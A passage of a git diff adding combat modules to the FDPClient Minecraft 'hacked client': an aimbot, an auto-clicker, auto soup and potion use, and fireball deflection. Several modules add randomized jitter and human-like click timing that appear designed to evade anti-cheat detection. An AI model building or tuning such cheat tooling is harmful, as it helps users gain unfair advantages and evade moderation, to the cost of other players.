-RandomUtils.nextFloat(0F, randomJitterValue.get()) else RandomUtils.nextFloat(0F, randomJitterValue.get()) + } + + if (pitch) { + mc.thePlayer.rotationPitch += if (pitchNegative) -RandomUtils.nextFloat(0F, randomJitterValue.get()) else RandomUtils.nextFloat(0F, randomJitterValue.get()) + if (mc.thePlayer.rotationPitch > 90) { + mc.thePlayer.rotationPitch = 90F + } else if (mc.thePlayer.rotationPitch < -90) { + mc.thePlayer.rotationPitch = -90F + } + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Aimbot.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Aimbot.kt new file mode 100644 index 0000000..bd68f0c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Aimbot.kt @@ -0,0 +1,103 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.StrafeEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.Rotation +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.ccbluex.liquidbounce.utils.extensions.getDistanceToEntityBox +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.* +import net.ccbluex.liquidbounce.utils.extensions.hitBox +import kotlin.random.Random + +@ModuleInfo(name = "Aimbot", category = ModuleCategory.COMBAT) +object Aimbot : Module() { + + private val rangeValue = FloatValue("Range", 4.4F, 1F, 8F) + private val turnSpeedValue = FloatValue("TurnSpeed", 2F, 1F, 180F) + private val randomTurnValue = FloatValue("TurnSpeedRandomRate", 1.0F, 0F, 15F) + private val smoothValue = BoolValue("Smooth", false) + private val smoothAngleValue = IntegerValue("SmoothMinAngle", 30, 1, 180).displayable { smoothValue.get() } + private val fovValue = FloatValue("FOV", 180F, 1F, 180F) + private val rotMode = ListValue("RotationMode", arrayOf("LiquidBounce", "Full", "HalfUp", "HalfDown", "CenterSimple", "CenterLine"), "HalfUp") + private val lockValue = BoolValue("Lock", true) + private val onClickValue = BoolValue("OnClick", false) + private val onClickDurationValue = IntegerValue("OnClickDuration", 500, 100, 1000).displayable { onClickValue.get() } + private val jitterValue = BoolValue("Jitter", false) + private val randomJitterValue = FloatValue("JitterRandomRate", 1.0F, 0F, 5.0F).displayable { jitterValue.get() } + + private val clickTimer = MSTimer() + + @EventTarget + fun onStrafe(event: StrafeEvent) { + if (mc.gameSettings.keyBindAttack.isKeyDown) { + clickTimer.reset() + } + + if (onClickValue.get() && clickTimer.hasTimePassed(onClickDurationValue.get().toLong())) { + return + } + + val range = rangeValue.get() + val entity = mc.theWorld.loadedEntityList + .filter { + EntityUtils.isSelected(it, true) && mc.thePlayer.canEntityBeSeen(it) && + mc.thePlayer.getDistanceToEntityBox(it) <= range && RotationUtils.getRotationDifference(it) <= fovValue.get() + } + .minByOrNull { RotationUtils.getRotationDifference(it) } ?: return + + if (!lockValue.get() && RotationUtils.isFaced(entity, range.toDouble())) { + return + } + + val calcBaseSpeed = turnSpeedValue.get() + Math.random() * randomTurnValue.get() - Math.random() * randomTurnValue.get() + val angleDiff = RotationUtils.getRotationDifference(entity) + val calcPrecent = if (angleDiff >= smoothAngleValue.get() || !smoothValue.get()) { 1.0 } else { angleDiff / smoothAngleValue.get() } + + val rotation = RotationUtils.limitAngleChange( + Rotation(mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch), + (RotationUtils.calculateCenter( + rotMode.get(), + "Horizontal", + 0.1, + entity.hitBox, + predict = false, + throughWalls = true + ) + )!!.rotation, + (calcBaseSpeed * calcPrecent).toFloat() + ) + + rotation.toPlayer(mc.thePlayer) + + if (jitterValue.get()) { + val yaw = Random.nextBoolean() + val pitch = Random.nextBoolean() + val yawNegative = Random.nextBoolean() + val pitchNegative = Random.nextBoolean() + + if (yaw) { + mc.thePlayer.rotationYaw += if (yawNegative) -RandomUtils.nextFloat(0F, randomJitterValue.get()) else RandomUtils.nextFloat(0F, randomJitterValue.get()) + } + + if (pitch) { + mc.thePlayer.rotationPitch += if (pitchNegative) -RandomUtils.nextFloat(0F, randomJitterValue.get()) else RandomUtils.nextFloat(0F, randomJitterValue.get()) + if (mc.thePlayer.rotationPitch > 90) { + mc.thePlayer.rotationPitch = 90F + } else if (mc.thePlayer.rotationPitch < -90) { + mc.thePlayer.rotationPitch = -90F + } + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/AntiFireball.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/AntiFireball.kt new file mode 100644 index 0000000..1338de9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/AntiFireball.kt @@ -0,0 +1,75 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.visual.Tracers +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.entity.projectile.EntityFireball +import net.minecraft.network.play.client.C0APacketAnimation +import java.awt.Color +import java.util.* + +@ModuleInfo(name = "AntiFireBall", description = "", category = ModuleCategory.COMBAT) +class AntiFireBall : Module() { + private val timer = MSTimer() + + private val swingValue = ListValue("Swing", arrayOf("Normal", "Packet", "None"), "Normal") + private val rotationValue = BoolValue("Rotation", true) + private val maxTurnSpeed: FloatValue = + object : FloatValue("MaxTurnSpeed", 120f, 0f, 180f) { + override fun onChanged(oldValue: Float, newValue: Float) { + val i = minTurnSpeed.get() + if (i > newValue) set(i) + } + } + private val minTurnSpeed: FloatValue = + object : FloatValue("MinTurnSpeed", 80f, 0f, 180f) { + override fun onChanged(oldValue: Float, newValue: Float) { + val i = maxTurnSpeed.get() + if (i < newValue) set(i) + } + } + + @EventTarget + private fun onUpdate(event: UpdateEvent) { + for (entity in mc.theWorld.loadedEntityList) { + if (entity is EntityFireball && mc.thePlayer.getDistanceToEntity(entity) < 15) { + FDPClient.moduleManager[Tracers::class.java]!!.drawTraces(entity, Color.white, true) + } + if (entity is EntityFireball && mc.thePlayer.getDistanceToEntity(entity) < 3 && timer.hasTimePassed(300)) { + if (rotationValue.get()) { + RotationUtils.setTargetRotation( + RotationUtils.limitAngleChange( + RotationUtils.serverRotation!!, + (RotationUtils.getRotationsNonLivingEntity(entity)), + + RandomUtils.nextFloat(minTurnSpeed.get(), maxTurnSpeed.get()) + ) + ) + } + + when (swingValue.get().lowercase(Locale.getDefault())) { + "normal" -> mc.thePlayer.swingItem() + "packet" -> mc.netHandler.addToSendQueue(C0APacketAnimation()) + } + + timer.reset() + break + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/AutoBot.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/AutoBot.kt new file mode 100644 index 0000000..b8bd2af --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/AutoBot.kt @@ -0,0 +1,286 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.InventoryUtils +import net.ccbluex.liquidbounce.utils.Rotation +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.ccbluex.liquidbounce.utils.misc.FallingPlayer +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.client.gui.inventory.GuiInventory +import net.minecraft.init.Items +import net.minecraft.item.ItemPotion +import net.minecraft.network.play.client.* +import net.minecraft.potion.Potion +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing + +@ModuleInfo("AutoBot", category = ModuleCategory.COMBAT) +class AutoBot : Module() { + + private val autoSoupValue = BoolValue("AutoSoup", true) + private val autoPotValue = BoolValue("AutoPot", true) + + // Auto Soup + private val autoSoupHealthValue = FloatValue("Health", 15f, 0f, 20f).displayable { autoSoupValue.get() } + private val autoSoupDelayValue = IntegerValue("Delay", 150, 0, 500).displayable { autoSoupValue.get() } + private val autoSoupOpenInventoryValue = BoolValue("OpenInv", false).displayable { autoSoupValue.get() } + private val autoSoupSimulateInventoryValue = BoolValue("SimulateInventory", true).displayable { autoSoupValue.get() } + private val autoSoupBowlValue = ListValue("Bowl", arrayOf("Drop", "Move", "Stay"), "Drop").displayable { autoSoupValue.get() } + private val autoSoupTimer = MSTimer() + + // Auto Pot + private val autoPotThrowMode = ListValue("AutoPot-ThrowMode", arrayOf("Up", "Forward", "Down", "Custom"), "Up").displayable { autoPotValue.get() } + private val autoPotHealthValue = FloatValue("AutoPot-Health", 15F, 1F, 20F).displayable { autoPotValue.get() } + private val autoPotDelayValue = IntegerValue("AutoPot-Delay", 500, 500, 1000).displayable { autoPotValue.get() } + private val autoPotThrowTickValue = IntegerValue("AutoPot-ThrowTick", 3, 1, 10).displayable { autoPotValue.get() } + private val autoPotSelectValue = IntegerValue("AutoPot-SelectSlot", -1, -1, 9).displayable { autoPotValue.get() } + private val autoPotGroundDistanceValue = FloatValue("AutoPot-GroundDistance", 2F, 0F, 4F).displayable { autoPotValue.get() && !autoPotOnGround.get() } + private val autoPotThrowAngleOption = IntegerValue("AutoPot-ThrowAngle", -45, -90, 90).displayable { autoPotThrowMode.equals("Custom") && autoPotValue.get() } + private val autoPotOpenInventoryValue = BoolValue("AutoPot-OpenInv", false).displayable { autoPotValue.get() } + private val autoPotSimulateInventoryValue = BoolValue("AutoPot-SimulateInventory", true).displayable { autoPotValue.get() } + private val autoPotRegenValue = BoolValue("AutoPot-Regen", true).displayable { autoPotValue.get() } + private val autoPotUtilityValue = BoolValue("AutoPot-Utility", true).displayable { autoPotValue.get() } + private val autoPotNotCombatValue = BoolValue("AutoPot-NotCombat", true).displayable { autoPotValue.get() } + private val autoPotOnGround = BoolValue("AutoPot-OnGround", true).displayable { autoPotValue.get() } + private var autoPotThrowing = false + private var autoPotThrowTime = 0 + private var autoPotPot = -1 + private var autoPotThrowAngle = 0f + private fun autoPotFindPotion(startSlot: Int, endSlot: Int): Int { + for (i in startSlot until endSlot) { + if (autoPotFindSinglePotion(i)) { + return i + } + } + return -1 + } + private fun autoPotFindSinglePotion(slot: Int): Boolean { + val stack = mc.thePlayer.inventoryContainer.getSlot(slot).stack + + if (stack == null || stack.item !is ItemPotion || !ItemPotion.isSplash(stack.itemDamage)) { + return false + } + + val itemPotion = stack.item as ItemPotion + + if (mc.thePlayer.health <autoPotHealthValue.get() && autoPotRegenValue.get()) { + for (potionEffect in itemPotion.getEffects(stack)) { + if (potionEffect.potionID == Potion.heal.id) { + return true + } + } + + if (!mc.thePlayer.isPotionActive(Potion.regeneration)) { + for (potionEffect in itemPotion.getEffects(stack)) { + if (potionEffect.potionID == Potion.regeneration.id) return true + } + } + } else if (autoPotUtilityValue.get()) { + for (potionEffect in itemPotion.getEffects(stack)) { + if (potionEffect.potionID != Potion.heal.id && InventoryUtils.isPositivePotionEffect(potionEffect.potionID) && !mc.thePlayer.isPotionActive(potionEffect.potionID)) { + return true + } + } + } + + return false + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if(autoSoupValue.get()) { + if (!autoSoupTimer.hasTimePassed(autoSoupDelayValue.get().toLong())) { + return + } + + val soupInHotbar = InventoryUtils.findItem(36, 45, Items.mushroom_stew) + if (mc.thePlayer.health <= autoSoupHealthValue.get() && soupInHotbar != -1) { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(soupInHotbar - 36)) + mc.netHandler.addToSendQueue( + C08PacketPlayerBlockPlacement(mc.thePlayer.inventoryContainer + .getSlot(soupInHotbar).stack) + ) + if (autoSoupBowlValue.equals("Drop")) { + mc.netHandler.addToSendQueue( + C07PacketPlayerDigging( + C07PacketPlayerDigging.Action.DROP_ITEM, + BlockPos.ORIGIN, EnumFacing.DOWN) + ) + } + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + autoSoupTimer.reset() + return + } + + val bowlInHotbar = InventoryUtils.findItem(36, 45, Items.bowl) + if (autoSoupBowlValue.equals("Move") && bowlInHotbar != -1) { + if (autoSoupOpenInventoryValue.get() && mc.currentScreen !is GuiInventory) { + return + } + + var bowlMovable = false + + for (i in 9..36) { + val itemStack = mc.thePlayer.inventoryContainer.getSlot(i).stack + + if (itemStack == null) { + bowlMovable = true + break + } else if (itemStack.item == Items.bowl && itemStack.stackSize < 64) { + bowlMovable = true + break + } + } + + if (bowlMovable) { + val openInventory = mc.currentScreen !is GuiInventory && autoSoupSimulateInventoryValue.get() + + if (openInventory) { + mc.netHandler.addToSendQueue(C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT)) + } + mc.playerController.windowClick(0, bowlInHotbar, 0, 1, mc.thePlayer) + } + } + + val soupInInventory = InventoryUtils.findItem(9, 36, Items.mushroom_stew) + if (soupInInventory != -1 && InventoryUtils.hasSpaceHotbar()) { + if (autoSoupOpenInventoryValue.get() && mc.currentScreen !is GuiInventory) { + return + } + + val openInventory = mc.currentScreen !is GuiInventory && autoSoupSimulateInventoryValue.get() + if (openInventory) { + mc.netHandler.addToSendQueue(C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT)) + } + + mc.playerController.windowClick(0, soupInInventory, 0, 1, mc.thePlayer) + + if (openInventory) { + mc.netHandler.addToSendQueue(C0DPacketCloseWindow()) + } + + autoSoupTimer.reset() + } + } + + if(autoPotValue.get()) { + when (autoPotThrowMode.get().lowercase()) { + "up" -> autoPotThrowAngle = -90f + "forward" -> autoPotThrowAngle = 0f + "down" -> autoPotThrowAngle = 90f + "custom" -> autoPotThrowAngle = autoPotThrowAngleOption.get().toFloat() + } + + if (autoPotNotCombatValue.get() && FDPClient.combatManager.inCombat) return + if (autoPotOnGround.get() && !mc.thePlayer.onGround) return + + if (!autoPotOnGround.get()) { + val fallingPlayer = FallingPlayer( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + mc.thePlayer.motionX, + mc.thePlayer.motionY, + mc.thePlayer.motionZ, + mc.thePlayer.rotationYaw, + mc.thePlayer.moveStrafing, + mc.thePlayer.moveForward, + mc.thePlayer.jumpMovementFactor) + + val collisionBlock = fallingPlayer.findCollision(20) + if (mc.thePlayer.posY - (collisionBlock?.y ?: 0) >= (autoPotGroundDistanceValue.get() + 1.01F)) + return + } + + if (autoPotThrowing) { + autoPotThrowTime++ + RotationUtils.setTargetRotation(Rotation(mc.thePlayer.rotationYaw, autoPotThrowAngle)) + if (autoPotThrowTime == autoPotThrowTickValue.get()) { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(autoPotPot - 36)) + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(mc.thePlayer.heldItem)) + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + autoPotPot = -1 + } + if (autoPotThrowTime >= (autoPotThrowTickValue.get() * 2)) { + autoPotThrowTime = 0 + autoPotThrowing = false + } + return + } + if (!InventoryUtils.INV_TIMER.hasTimePassed(autoPotDelayValue.get().toLong())) return + + val enableSelect = autoPotSelectValue.get() != -1 + val potion = if (enableSelect) { + if (autoPotFindSinglePotion(36 + autoPotSelectValue.get())) { + 36 + autoPotSelectValue.get() + } else { + -1 + } + } else { + autoPotFindPotion(36, 45) + } + + if (potion != -1) { + RotationUtils.setTargetRotation(Rotation(mc.thePlayer.rotationYaw, autoPotThrowAngle)) + autoPotPot = potion + autoPotThrowing = true + InventoryUtils.INV_TIMER.reset() + return + } + + if (autoPotOpenInventoryValue.get() && !enableSelect) { + val invPotion = autoPotFindPotion(9, 36) + if (invPotion != -1) { + val openInventory = mc.currentScreen !is GuiInventory && autoPotSimulateInventoryValue.get() + if (InventoryUtils.hasSpaceHotbar()) { + if (openInventory) { + mc.netHandler.addToSendQueue(C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT)) + } + + mc.playerController.windowClick(0, invPotion, 0, 1, mc.thePlayer) + + if (openInventory) { + mc.netHandler.addToSendQueue(C0DPacketCloseWindow()) + } + + return + } else { + for (i in 36 until 45) { + val stack = mc.thePlayer.inventoryContainer.getSlot(i).stack + if (stack == null || stack.item !is ItemPotion || !ItemPotion.isSplash(stack.itemDamage)) { + continue + } + + if (openInventory) { + mc.netHandler.addToSendQueue(C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT)) + } + + mc.playerController.windowClick(0, invPotion, 0, 0, mc.thePlayer) + mc.playerController.windowClick(0, i, 0, 0, mc.thePlayer) + + if (openInventory) { + mc.netHandler.addToSendQueue(C0DPacketCloseWindow()) + } + + break + } + } + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/AutoClicker.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/AutoClicker.kt new file mode 100644 index 0000000..be6e29c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/AutoClicker.kt @@ -0,0 +1,298 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.ccbluex.liquidbounce.utils.timer.TimeUtils +import net.ccbluex.liquidbounce.features.value.* +import net.ccbluex.liquidbounce.utils.MathUtils +import net.minecraft.client.settings.KeyBinding +import net.minecraft.item.ItemBlock +import net.minecraft.item.ItemSword +import kotlin.random.Random +import org.lwjgl.input.Mouse + +@ModuleInfo(name = "AutoClicker", category = ModuleCategory.COMBAT) +object AutoClicker : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Normal", "Gaussian", "LegitJitter", "LegitButterfly"), "Normal") + private val legitJitterValue = ListValue("LegitJitterMode", arrayOf("Jitter1", "Jitter2", "Jitter3", "SimpleJitter"), "Jitter1").displayable {modeValue.equals("LegitJitter")} + private val legitButterflyValue = ListValue("LegitButterflyMode", arrayOf("Butterfly1", "Butterfly2"), "Butterfly1").displayable {modeValue.equals("LegitButterfly")} + + + // Normal + private val normalMaxCPSValue: IntegerValue = object : IntegerValue("Normal-MaxCPS", 8, 1, 40) { + override fun onChanged(oldValue: Int, newValue: Int) { + val minCPS = normalMinCPSValue.get() + if (minCPS > newValue) { + set(minCPS) + } + } + } + private val normalMinCPSValue: IntegerValue = object : IntegerValue("Normal-MinCPS", 5, 1, 40) { + override fun onChanged(oldValue: Int, newValue: Int) { + val maxCPS = normalMaxCPSValue.get() + if (maxCPS < newValue) { + set(maxCPS) + } + } + } + private val rightValue = BoolValue("RightClick", true) + private val rightBlockOnlyValue = BoolValue("RightBlockOnly", false).displayable { rightValue.get() } + private val leftValue = BoolValue("LeftClick", true) + private val leftSwordOnlyValue = BoolValue("LeftSwordOnly", false).displayable { leftValue.get() } + private val breakStopValue = BoolValue("BreakingStop", true).displayable { leftValue.get() } + private val blockValue = BoolValue("AutoBlock", false). displayable { leftValue.get() } + private val blockOnClick = BoolValue("AutoBlockOnRightClick", true). displayable { leftValue.get() && blockValue.get() } + private val blockMode = ListValue("AutoblockMode", arrayOf("Percent", "Click", "Ticks", "Miliseconds"), "Percent"). displayable { leftValue.get() && blockValue.get() } + private val blockPercentStartValue = FloatValue("PercentStart", 0.2f, 0.05f, 1f).displayable { blockMode.displayable && blockMode.equals("Percent") } + private val blockPercentEndValue = FloatValue("PercentEnd", 0.8f, 0.05f, 1f).displayable { blockMode.displayable && blockMode.equals("Percent") } + private val blockTicksValue = IntegerValue("BlockTicks", 2, 1, 10).displayable { blockMode.displayable && blockMode.equals("Ticks") } + private val blockMsValue = IntegerValue("BlockMiliseconds", 80, 1, 1000).displayable { blockMode.displayable && blockMode.equals("Miliseconds") } + private val jitterValue = BoolValue("Jitter", false) + + + // Gaussian + private val gaussianCpsValue = IntegerValue("Gaussian-CPS", 5, 1, 40).displayable { modeValue.equals("Gaussian") } + private val gaussianSigmaValue = FloatValue("Gaussian-Sigma", 0.5F, 0.1F, 5F).displayable { modeValue.equals("Gaussian") } + + + private var gaussianClickDelay = 0F + + private var rightDelay = 50L + private var rightLastSwing = 0L + private var leftDelay = 50L + private var leftLastSwing = 0L + + private var delayNum = 0 + private var cDelay = 0 + + private var doBlock = false + private var clickBlocked = false + private var blockTicks = 0 + + + + @EventTarget + fun onRender(event: Render3DEvent) { + if (mc.gameSettings.keyBindAttack.isKeyDown && leftValue.get() && + System.currentTimeMillis() - leftLastSwing >= leftDelay && (!leftSwordOnlyValue.get() || mc.thePlayer.heldItem?.item is ItemSword) && (!breakStopValue.get() || mc.playerController.curBlockDamageMP == 0F)) { + KeyBinding.onTick(mc.gameSettings.keyBindAttack.keyCode) // Minecraft Click Handling + clickBlocked = false + blockTicks = 0 + + + leftLastSwing = System.currentTimeMillis() + leftDelay = updateClicks().toLong() + } + + + if (mc.gameSettings.keyBindUseItem.isKeyDown && !mc.thePlayer.isUsingItem && rightValue.get() && System.currentTimeMillis() - rightLastSwing >= rightDelay && (!rightBlockOnlyValue.get() || mc.thePlayer.heldItem?.item is ItemBlock) && rightValue.get()) { + KeyBinding.onTick(mc.gameSettings.keyBindUseItem.keyCode) + + rightLastSwing = System.currentTimeMillis() + rightDelay = updateClicks().toLong() - 1L + } + + if (blockValue.get() && mc.thePlayer.heldItem?.item is ItemSword && mc.gameSettings.keyBindAttack.isKeyDown && leftValue.get() && blockOnClick.get() && Mouse.isButtonDown(1) && (!breakStopValue.get() || mc.playerController.curBlockDamageMP == 0F)) { + mc.gameSettings.keyBindUseItem.pressed = false + + doBlock = when(blockMode.get().lowercase()) { + "percent" -> (System.currentTimeMillis() - leftLastSwing >= leftDelay * blockPercentStartValue.get().toDouble() && System.currentTimeMillis() - leftLastSwing <= leftDelay * blockPercentEndValue.get().toDouble()) + "ticks" -> (blockTicks <= blockTicksValue.get()) + "miliseconds" -> (System.currentTimeMillis() - leftLastSwing >= blockMsValue.get().toDouble()) + else -> false + } + + if ( !blockOnClick.get() || Mouse.isButtonDown(1)) { + if (blockMode.equals("Click")) { + if ( !clickBlocked && System.currentTimeMillis() - leftLastSwing > 1 ) { + clickBlocked = true + KeyBinding.onTick(mc.gameSettings.keyBindUseItem.keyCode) + } + } else { + mc.gameSettings.keyBindUseItem.pressed = doBlock + } + } + } + + } + + + @EventTarget + fun onUpdate(event: UpdateEvent) { + blockTicks ++ + if (jitterValue.get() && (leftValue.get() && mc.gameSettings.keyBindAttack.isKeyDown || rightValue.get() && mc.gameSettings.keyBindUseItem.isKeyDown && !mc.thePlayer.isUsingItem)) { + if (Random.nextBoolean()) mc.thePlayer.rotationYaw += if (Random.nextBoolean()) -RandomUtils.nextFloat(0F, 1F) else RandomUtils.nextFloat(0F, 1F) + + if (Random.nextBoolean()) { + mc.thePlayer.rotationPitch += if (Random.nextBoolean()) -RandomUtils.nextFloat(0F, 1F) else RandomUtils.nextFloat(0F, 1F) + + // Make sure pitch does not go in to blatant values + if (mc.thePlayer.rotationPitch > 90) + mc.thePlayer.rotationPitch = 90F + else if (mc.thePlayer.rotationPitch < -90) + mc.thePlayer.rotationPitch = -90F + } + } + } + + override fun onEnable() { + if(modeValue.equals("Gaussian")) { + gaussianUpdateDelay() + } + } + + private fun gaussianUpdateDelay(): Float { + gaussianClickDelay = 1000F / (MathUtils.calculateGaussianDistribution(gaussianCpsValue.get().toFloat(), gaussianSigmaValue.get()).toFloat() + .coerceAtLeast(1F)) // 1000ms = 1s + return gaussianClickDelay + } + + private fun updateClicks(): Int { + when (modeValue.get().lowercase()) { + "normal" -> { + cDelay = TimeUtils.randomClickDelay(normalMinCPSValue.get(), normalMaxCPSValue.get()).toInt() + } + + "gaussian" -> { + gaussianUpdateDelay() + cDelay = gaussianClickDelay.toInt() + } + + "legitjitter" -> { + when (legitJitterValue.get().lowercase()) { + "jitter1" -> { + if (1 == Random.nextInt(1, 5)) + delayNum = 0 + + if (delayNum == 0) { + cDelay = if (Random.nextInt(1, 3) == 1) { + Random.nextInt(98, 110) + } else if (Random.nextInt(1, 2) == 1) { + Random.nextInt(125, 138) + } else { + Random.nextInt(148, 153) + } + + delayNum = 1 + } else { + if (Random.nextInt(1, 4) !== 1) { + cDelay = if (Random.nextBoolean()) { + Random.nextInt(65, 69) + } else { + if (Random.nextInt(1, 5) == 1) { + Random.nextInt(81, 87) + } else { + Random.nextInt(97, 101) + } + } + } + } + } + + "jitter2" -> { + cDelay = if (Random.nextInt(1, 14) <= 3) { + if (Random.nextInt(1, 3) == 1) { + Random.nextInt(98, 102) + } else { + Random.nextInt(114, 117) + } + } else { + if (Random.nextInt(1, 4) == 1) { + Random.nextInt(64, 69) + } else { + Random.nextInt(83, 85) + } + + } + } + + "jitter3" -> { + if (Random.nextInt(1, 5) == 1 && delayNum == 0) { + delayNum = 1 + cDelay = if (Random.nextInt(1, 4) == 1) { + Random.nextInt(114, 118) + } else { + Random.nextInt(98, 104) + } + } else { + if (delayNum == 1) { + delayNum = 0 + cDelay = Random.nextInt(65, 70) + } else { + cDelay = Random.nextInt(84, 88) + } + } + } + + "simplejitter" -> { + if (Random.nextInt(1, 5) == 1) { + cDelay = if (Random.nextBoolean()) { + Random.nextInt(105, 110) + } else { + Random.nextInt(120, 128) + } + } else { + cDelay = if (Random.nextInt(1, 3) == 1) { + Random.nextInt(76, 79) + } else { + if (Random.nextInt(1, 3) == 1) { + 78 + } else { + 77 + } + } + } + } + } + } + + "legitbutterfly" -> { + when (legitButterflyValue.get().lowercase()) { + "butterfly1" -> { + cDelay = if (Random.nextInt(1, 7) == 1) { + Random.nextInt(80, 104) + } else { + if (Random.nextInt(1, 7) <= 2) { + 117 + } else { + Random.nextInt(114, 119) + } + } + } + + "butterfly2" -> { + if (Random.nextInt(1, 10) == 1) { + cDelay = Random.nextInt(225, 250) + } else { + cDelay = if (Random.nextInt(1, 6) == 1) { + Random.nextInt(89, 94) + } else if (Random.nextInt(1, 3) == 1) { + Random.nextInt(95, 103) + } else if (Random.nextInt(1, 3) == 1) { + Random.nextInt(115, 123) + } else { + if (Random.nextBoolean()) { + Random.nextInt(131, 136) + } else { + Random.nextInt(165, 174) + } + } + } + } + } + } + } + return cDelay + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/AutoProjectile.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/AutoProjectile.kt new file mode 100644 index 0000000..d9687e9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/AutoProjectile.kt @@ -0,0 +1,175 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.EntityUtils.isSelected +import net.ccbluex.liquidbounce.utils.RaycastUtils.raycastEntity +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.init.Items.egg +import net.minecraft.init.Items.snowball + +@ModuleInfo(name = 